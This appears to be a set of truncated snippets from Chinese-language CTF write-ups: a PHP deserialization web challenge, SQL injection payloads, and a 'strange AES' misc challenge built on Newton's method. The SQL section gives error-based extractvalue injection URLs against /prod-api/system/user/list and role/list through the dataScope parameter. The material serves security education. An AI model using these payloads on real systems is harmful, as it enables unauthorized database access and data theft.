# 1.Web PHP serialize 反序列化考点；题意： 定义了两个class，class A是去找传入进来的文件位置并做if存在判断，过程中对$filepath做base64解码； class A{ public $files; public function findFile() { echo $this->files; if (file_exists(base64_decode($this...

SQL inject sqli-1 /prod-api/system/user/list?pageSize=&params%5bdataScope%5d=and%20extractvalue(1,concat(0x7e,(select%20user()),0x7e)) sqli-2 /prod-api/system/role/list?params%5bdataScope%5d=and+extractvalue(1,concat(0x7e,(select...

Misc 奇怪的AES 题目代码 from Crypto.Cipher import AES def f(x): return (x-2)**3 def fd(x): return 3*((x-2)**2) def newtonMethod(n,assum): time = n x = assum a = f(x) b = fd(x) if f(x) == 0.0: return t...